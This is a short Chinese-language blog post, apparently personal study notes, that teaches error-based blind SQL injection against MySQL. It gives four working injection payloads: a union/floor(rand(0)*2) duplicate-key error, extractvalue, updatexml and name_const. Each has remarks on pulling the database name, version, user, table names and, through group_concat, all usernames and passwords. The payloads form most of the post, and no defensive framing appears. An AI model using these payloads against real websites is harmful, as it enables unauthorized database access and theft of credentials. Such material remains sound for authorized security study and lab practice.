SQL注入 基于报错的盲注
2018-09-29 本文已影响6人
dawsonenjoy
基于报错的盲注是通过输入特定语句使页面报错,网页中则会输出相关错误信息,从而是我们得到想要的基本信息——数据库名、版本、用户名等
1.直接使用报错:' union select 1,count(*),concat('/',(select @@datadir),'/',floor(rand(0)*2))a from information_schema.columns group by a--+
【这里格式貌似几乎固定,相当于这样输就会出错的bug,count()用来返回有多少条数据这里固定写法,中间select后面是我们要获得的信息,floor(rand(0)2)也是固定写法,floor用来取不大于括号里的最大整数,比如1.5取1,后面的a和最后没的a只要是相等的字符就可以,如图】
【然后返回值不能超过1行数据,所以如果里面的select获取的是多行数据时要加limit,如图】
2.利用xpath函数—extractvalue报错:' and extractvalue(1,concat(0x7e,(select database()),0x73))--+
【这也是一种类似bug的固定写法,extractvalue,concat里面第一个必须是0x7e,后面是要查的内容,concat里面可以放很多参数(参见目录),所以可以多查很多数据,如图同时获取了数据库名,用户名和第一个表名】
【concat里面甚至可以再放函数,如图用了group_concat,将用户名密码全部获得(但是好像输出长度有限定,只能输出一定长度结果)】
3.利用xpath函数—updatexml报错:' and updatexml(1,concat(0x7e,(select database()),0x7e),1)--+
【与extractvalue同理,这里不再赘述,如图】
4.利用数据重复性报错:' union select 1,2,3 from (select name_const(version(),1),name_const(version(),1))x--+
【这个貌似有点问题,现在只能查到数据库版本,语法基本固定,第一个select查啥都可以,不一定得1,2,3,两个name_const()里面要一样,最后一个x也啥都可以,如图】